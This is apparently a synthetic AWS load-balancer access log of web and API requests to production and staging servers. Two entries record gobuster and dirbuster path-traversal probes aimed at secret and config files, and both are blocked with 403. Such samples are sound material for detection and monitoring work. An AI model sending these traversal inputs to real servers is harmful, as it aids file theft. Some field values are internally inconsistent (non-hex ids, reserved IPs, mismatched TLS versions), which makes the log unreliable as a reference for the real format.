85.162.147.225:43940 10.0.30.135:443 0.023238 0.181660 0.055259 200 200 660 1174 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d70e-1625621b47d542b7a6252254" "prod-web-alb.example.com" "-" 4 2024-11-01T02:14:22.180684Z "forward" "-" "-" "10.0.30.135:443" "200" "-" "-" -https 2024-11-01T02:14:23.434993Z prod-web-alb 212.140.141.129:35549 10.0.158.32:443 0.046463 0.051281 0.014910 200 200 265 7838 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d70f-cf354128d25c461eac52df52" "prod-web-alb.example.com" "-" 1 2024-11-01T02:14:23.434993Z "forward" "-" "-" "10.0.158.32:443" "200" "-" "-" -https 2024-11-01T02:14:24.765831Z prod-web-alb 236.33.141.229:32689 10.0.9.163:443 0.062230 0.282014 0.091142 200 200 179 11924 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d710-97b26ca408eb4d879c62bf9c" "prod-web-alb.example.com" "-" 3 2024-11-01T02:14:24.765831Z "forward" "-" "-" "10.0.9.163:443" "200" "-" "-" -https 2024-11-01T02:14:26.358846Z staging-alb 189.188.68.52:25971 58.121.201.96:80 0.149687 0.156041 0.063569 200 200 850 2378 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d712-2f6c8150bd62476da07c2d63" "-" "-" 4 2024-11-01T02:14:26.358846Z "forward" "-" "-" "58.121.201.96:80" "200" "-" "-" -https 2024-11-01T02:14:26.461180Z prod-web-alb 82.29.94.143:57921 10.0.4.67:443 0.044534 0.377463 0.023031 404 404 756 3958 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d712-96eb4c15d3d241f9bd0c5755" "prod-web-alb.example.com" "-" 2 2024-11-01T02:14:26.461180Z "forward" "-" "-" "10.0.4.67:443" "404" "-" "-" -https 2024-11-01T02:14:28.199303Z prod-api-alb 226.72.198.148:39368 10.0.101.161:443 0.015291 0.026178 0.098676 200 200 577 469 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d714-a0aa6ec9c0c04894bf764378" "prod-api-alb.example.com" "-" 8 2024-11-01T02:14:28.199303Z "forward" "-" "-" "10.0.101.161:443" "200" "-" "-" -http 2024-11-01T02:14:29.021449Z staging-alb 93.104.178.160:20470 129.37.228.35:8080 0.121730 0.486971 0.010073 200 200 652 1125 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d715-506ec08124bf4644a48c71c2" "staging-alb.example.com" "-" 0 2024-11-01T02:14:29.021449Z "forward" "-" "-" "129.37.228.35:8080" "200" "-" "-" -https 2024-11-01T02:14:30.077951Z prod-web-alb 63.173.15.179:21167 10.0.223.112:443 0.039895 0.395678 0.004136 200 200 106 13346 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d716-80ea675803c546feb134b254" "-" "-" 10 2024-11-01T02:14:30.077951Z "forward" "-" "-" "10.0.223.112:443" "200" "-" "-" -http 2024-11-01T02:14:31.367918Z staging-alb 21.245.99.202:44810 162.15.46.201:80 0.042011 0.222378 0.079191 404 404 915 8174 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d717-715f7af14e0547a6905acb24" "staging-alb.example.com" "-" 0 2024-11-01T02:14:31.367918Z "forward" "-" "-" "162.15.46.201:80" "404" "-" "-" -https 2024-11-01T02:14:32.535309Z prod-api-alb 206.86.48.186:51731 10.0.33.100:443 0.056414 0.417439 0.068964 404 404 461 9047 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d718-8bdb91e1680d427bbe0a2da6" "prod-api-alb.example.com" "-" 6 2024-11-01T02:14:32.535309Z "forward" "-" "-" "10.0.33.100:443" "404" "-" "-" -https 2024-11-01T02:14:32.743607Z prod-api-alb 22.132.53.236:42112 10.0.177.243:443 0.033476 0.357360 0.096647 404 404 652 14898 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d718-9f4c3833da1d4a6aa9bf1ca5" "prod-api-alb.example.com" "-" 8 2024-11-01T02:14:32.743607Z "forward" "-" "-" "10.0.177.243:443" "404" "-" "-" -https 2024-11-01T02:14:33.569176Z staging-alb 80.140.193.248:24818 165.73.253.150:8080 0.015380 0.211796 0.096074 200 200 301 3811 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d719-85a115e175964b43801a8dc4" "staging-alb.example.com" "-" 9 2024-11-01T02:14:33.569176Z "forward" "-" "-" "165.73.253.150:8080" "200" "-" "-" -https 2024-11-01T02:14:35.476740Z prod-api-alb 45.155.205.185:11177 10.0.217.169:443 0.072037 0.109984 0.008936 403 403 74 7224 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d71b-e9b5a218ccc94964be56334a" "-" "-" 10 2024-11-01T02:14:35.476740Z "forward" "-" "-" "10.0.217.169:443" "403" "-" "-" -http 2024-11-01T02:14:36.065172Z staging-alb 26.184.83.106:51664 208.21.4.59:8080 0.138236 0.290338 0.086278 200 200 979 2141 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d71c-3d17e79d5a3946f19118f770" "staging-alb.example.com" "-" 10 2024-11-01T02:14:36.065172Z "forward" "-" "-" "208.21.4.59:8080" "200" "-" "-" -https 2024-11-01T02:14:37.247416Z prod-api-alb 211.186.199.231:32195 10.0.64.224:443 0.000951 0.378393 0.031524 302 302 640 14772 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d71d-4de8c89f4bc9466da87ee005" "prod-api-alb.example.com" "-" 5 2024-11-01T02:14:37.247416Z "forward" "-" "-" "10.0.64.224:443" "302" "-" "-" -https 2024-11-01T02:14:38.726258Z prod-web-alb 45.155.205.86:13841 10.0.236.40:443 0.008770 0.456120 0.070867 403 403 292 14571 "GET /api/../../../config HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d71e-e2a44fd4de364fe7808b93cc" "-" "-" 3 2024-11-01T02:14:38.726258Z "forward" "-" "-" "10.0.236.40:443" "403" "-" "-" -http 2024-11-01T02:14:40.682657Z staging-alb 181.146.48.222:11795 46.113.230.189:8080 0.003494 0.627808 0.040635 200 200 81 7973 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d720-749c1ad2aac14c089d6efb34" "staging-alb.example.com" "-" 4 2024-11-01T02:14:40.682657Z "forward" "-" "-" "46.113.230.189:8080" "200" "-" "-" -https 2024-11-01T02:14:41.402750Z prod-api-alb 180.222.89.144:50624 10.0.58.46:443 0.052829 0.401371 0.028718 302 302 2 6947 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d721-05c62f5ee26b4fc889fc563f" "prod-api-alb.example.com" "-" 8 2024-11-01T02:14:41.402750Z "forward" "-" "-" "10.0.58.46:443" "302" "-" "-" -https 2024-11-01T02:14:41.642878Z prod-api-alb 228.73.187.208:43342 10.0.119.252:443 0.055376 0.183429 0.058097 200 200 147 8921 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d721-cc4ada33815b41e79343d64c" "prod-api-alb.example.com" "-" 7 2024-11-01T02:14:41.642878Z "forward" "-" "-" "10.0.119.252:443" "200" "-" "-" -https 2024-11-01T02:14:43.589362Z prod-web-alb 27.126.35.85:27759 10.0.183.38:443 0.035447 0.169809 0.038509 200 200 852 947 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d723-5b0422558df54c9cbc7f3ab6" "prod-web-alb.example.com" "-" 1 2024-11-01T02:14:43.589362Z "forward" "-" "-" "10.0.183.38:443" "200" "-" "-" -https 2024-11-01T02:14:43.781822Z prod-web-alb 137.20.84.247:24294 10.0.91.81:443 0.028794 0.175501 0.061828 200 200 27 7094 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d723-bf98358bfb074b56b454451c" "prod-web-alb.example.com" "-" 4 2024-11-01T02:14:43.781822Z "forward" "-" "-" "10.0.91.81:443" "200" "-" "-" -https 2024-11-01T02:14:45.261503Z staging-alb 185.75.33.16:54069 233.112.199.182:443 0.089776 0.202183 0.141074 302 302 338 7115 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d725-3b119c77d38a41139ea24ae5" "staging-alb.example.com" "-" 10 2024-11-01T02:14:45.261503Z "forward" "-" "-" "233.112.199.182:443" "302" "-" "-" -https 2024-11-01T02:14:47.048074Z prod-api-alb 185.193.43.147:64275 10.0.45.76:443 0.030422 0.422275 0.047235 200 200 224 10829 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d727-fb52f9b928d049bdab666f2e" "prod-api-alb.example.com" "-" 1 2024-11-01T02:14:47.048074Z "forward" "-" "-" "10.0.45.76:443" "200" "-" "-" -https 2024-11-01T02:14:48.955452Z prod-api-alb 238.72.53.50:57063 10.0.222.59:443 0.085168 0.275372 0.019701 200 200 346 3056 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d728-6b5fb8b40692428a93061b22" "prod-api-alb.example.com" "-" 7 2024-11-01T02:14:48.955452Z "forward" "-" "-" "10.0.222.59:443" "200" "-" "-" -https 2024-11-01T02:14:49.522827Z prod-api-alb 48.150.179.95:16332 10.0.17.253:443 0.078008 0.178168 0.061523 301 301 624 14605 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d729-f398d0dd5c5a4cd7bac2b505" "prod-api-alb.example.com" "-" 7 2024-11-01T02:14:49.522827Z "forward" "-" "-" "10.0.17.253:443" "301" "-" "-" -https 2024-11-01T02:14:51.034667Z prod-web-alb 226.175.228.224:52497 10.0.209.223:443 0.040683 0.298998 0.011365 200 200 848 12320 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d72b-846aac98a7cd4d4d911418e3" "prod-web-alb.example.com" "-" 10 2024-11-01T02:14:51.034667Z "forward" "-" "-" "10.0.209.223:443" "200" "-" "-" -http 2024-11-01T02:14:53.005960Z staging-alb 119.74.9.174:25993 253.208.73.100:80 0.038568 0.304936 0.036265 301 301 369 6447 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d72d-ce94e177e1be41deadee06ef" "staging-alb.example.com" "-" 8 2024-11-01T02:14:53.005960Z "forward" "-" "-" "253.208.73.100:80" "301" "-" "-" -https 2024-11-01T02:14:54.782869Z prod-web-alb 70.86.4.182:53360 10.0.92.110:443 0.054044 0.004838 0.066296 200 200 286 10520 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d72e-6bd2a216a1124624a1ef4b82" "prod-web-alb.example.com" "-" 10 2024-11-01T02:14:54.782869Z "forward" "-" "-" "10.0.92.110:443" "200" "-" "-" -https 2024-11-01T02:14:56.396490Z prod-web-alb 13.91.250.99:51026 10.0.182.125:443 0.051493 0.079885 0.087973 200 200 517 3084 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d730-8a38a2f1277b4c3cb43e00a3" "prod-web-alb.example.com" "-" 7 2024-11-01T02:14:56.396490Z "forward" "-" "-" "10.0.182.125:443" "200" "-" "-" -http 2024-11-01T02:14:58.085680Z staging-alb 206.103.196.146:13438 126.159.163.203:8080 0.049373 0.594811 0.051719 301 301 176 5851 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d732-be83acd9c3334770aba37eca" "staging-alb.example.com" "-" 6 2024-11-01T02:14:58.085680Z "forward" "-" "-" "126.159.163.203:8080" "301" "-" "-" -http 2024-11-01T02:14:58.913410Z staging-alb 221.25.237.162:14284 143.203.33.184:443 0.121535 0.554196 0.007717 404 404 927 1524 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d732-30385fd8f50e4857a0d90891" "staging-alb.example.com" "-" 5 2024-11-01T02:14:58.913410Z "forward" "-" "-" "143.203.33.184:443" "404" "-" "-" -https 2024-11-01T02:15:00.562470Z prod-web-alb 59.224.62.78:53114 10.0.113.62:443 0.096576 0.343680 0.094078 302 302 11 1006 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d734-3f85e2360823404bb994d601" "prod-web-alb.example.com" "-" 0 2024-11-01T02:15:00.562470Z "forward" "-" "-" "10.0.113.62:443" "302" "-" "-" -https 2024-11-01T02:15:02.239798Z prod-api-alb 159.115.120.126:39509 10.0.161.21:443 0.011167 0.044918 0.073939 301 301 567 8692 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d736-e1b2bbca0b21446fa8a7ca38" "-" "-" 1 2024-11-01T02:15:02.239798Z "forward" "-" "-" "10.0.161.21:443" "301" "-" "-" -https 2024-11-01T02:15:02.629405Z prod-web-alb 141.60.190.216:39410 10.0.185.64:443 0.016214 0.394594 0.029072 200 200 537 2005 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d736-30c66ef128304547b6f85e53" "prod-web-alb.example.com" "-" 9 2024-11-01T02:15:02.629405Z "forward" "-" "-" "10.0.185.64:443" "200" "-" "-" -https 2024-11-01T02:15:04.623341Z staging-alb 6.144.25.11:55113 41.111.56.145:8080 0.056190 0.710950 0.097346 302 302 876 13354 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d738-41fcbe6d69c74d8f802217e0" "staging-alb.example.com" "-" 1 2024-11-01T02:15:04.623341Z "forward" "-" "-" "41.111.56.145:8080" "302" "-" "-" -https 2024-11-01T02:15:05.542122Z prod-web-alb 40.158.53.68:16703 10.0.194.136:443 0.036972 0.190157 0.074669 200 200 320 7086 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d739-cfd1259ad4304495abb31ba4" "prod-web-alb.example.com" "-" 7 2024-11-01T02:15:05.542122Z "forward" "-" "-" "10.0.194.136:443" "200" "-" "-" -https 2024-11-01T02:15:07.322542Z prod-api-alb 31.38.116.129:57101 10.0.221.32:443 0.072562 0.087980 0.075106 404 404 604 7683 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d73b-ffe0eb969c204bf8a841d45f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:15:07.322542Z "forward" "-" "-" "10.0.221.32:443" "404" "-" "-" -https 2024-11-01T02:15:08.727780Z prod-web-alb 227.78.165.65:60268 10.0.97.192:443 0.004482 0.105394 0.067553 200 200 66 14582 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d73c-ff28bc05fa134b17991d2c72" "prod-web-alb.example.com" "-" 6 2024-11-01T02:15:08.727780Z "forward" "-" "-" "10.0.97.192:443" "200" "-" "-" -http 2024-11-01T02:15:10.550808Z staging-alb 55.88.126.122:48456 3.242.221.247:80 0.105690 0.673717 0.075037 200 200 637 6811 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d73e-295b9a7b90194accbc3ff4d9" "staging-alb.example.com" "-" 9 2024-11-01T02:15:10.550808Z "forward" "-" "-" "3.242.221.247:80" "200" "-" "-" -https 2024-11-01T02:15:11.693078Z prod-api-alb 174.106.240.26:43509 10.0.72.128:443 0.052273 0.077545 0.006331 200 200 432 12443 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d73f-c1350e07417a41b094aee549" "prod-api-alb.example.com" "-" 10 2024-11-01T02:15:11.693078Z "forward" "-" "-" "10.0.72.128:443" "200" "-" "-" -https 2024-11-01T02:15:13.379398Z prod-web-alb 13.180.13.180:58873 10.0.191.155:443 0.007970 0.404759 0.026911 200 200 831 2320 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d741-b2916d4adfb34ac581aabdbb" "prod-web-alb.example.com" "-" 3 2024-11-01T02:15:13.379398Z "forward" "-" "-" "10.0.191.155:443" "200" "-" "-" -https 2024-11-01T02:15:13.921545Z prod-api-alb 31.198.120.124:10668 10.0.152.46:443 0.089454 0.176507 0.001483 200 200 236 4240 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d741-8c5e29734d8645c1891a1ded" "prod-api-alb.example.com" "-" 10 2024-11-01T02:15:13.921545Z "forward" "-" "-" "10.0.152.46:443" "200" "-" "-" -http 2024-11-01T02:15:15.662444Z staging-alb 134.211.150.21:33034 158.40.94.27:8080 0.025083 0.213961 0.131194 200 200 885 14413 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d743-df5b2b64026947ada5c973af" "staging-alb.example.com" "-" 10 2024-11-01T02:15:15.662444Z "forward" "-" "-" "158.40.94.27:8080" "200" "-" "-" -https 2024-11-01T02:15:16.121987Z prod-api-alb 23.241.67.71:10525 10.0.254.173:443 0.091411 0.397528 0.071698 301 301 425 5340 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d744-41de8d3a973b4d62b2df9b05" "prod-api-alb.example.com" "-" 2 2024-11-01T02:15:16.121987Z "forward" "-" "-" "10.0.254.173:443" "301" "-" "-" -https 2024-11-01T02:15:16.260126Z staging-alb 228.168.128.236:16982 202.250.41.179:80 0.020460 0.730754 0.063307 200 200 108 10247 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d744-927956ecbe2e46538487a7db" "staging-alb.example.com" "-" 1 2024-11-01T02:15:16.260126Z "forward" "-" "-" "202.250.41.179:80" "200" "-" "-" -https 2024-11-01T02:15:17.427808Z prod-web-alb 140.105.215.200:39898 10.0.7.208:443 0.082253 0.110911 0.034333 200 200 817 6701 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d745-1784eb1e9a8d4868bb1e81ca" "prod-web-alb.example.com" "-" 6 2024-11-01T02:15:17.427808Z "forward" "-" "-" "10.0.7.208:443" "200" "-" "-" -https 2024-11-01T02:15:17.865211Z prod-web-alb 43.30.205.212:47206 10.0.22.85:443 0.063451 0.352794 0.074849 200 200 810 11193 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d745-e2b205ca0ff6499885f89d72" "prod-web-alb.example.com" "-" 9 2024-11-01T02:15:17.865211Z "forward" "-" "-" "10.0.22.85:443" "200" "-" "-" -https 2024-11-01T02:15:19.411974Z prod-api-alb 155.38.74.29:10196 10.0.176.15:443 0.050296 0.099038 0.052584 200 200 872 4225 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d747-a44e34b4b9a945979caec107" "prod-api-alb.example.com" "-" 6 2024-11-01T02:15:19.411974Z "forward" "-" "-" "10.0.176.15:443" "200" "-" "-" -https 2024-11-01T02:15:20.358231Z prod-web-alb 173.232.108.221:27048 10.0.167.106:443 0.081535 0.056048 0.037329 301 301 69 1969 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 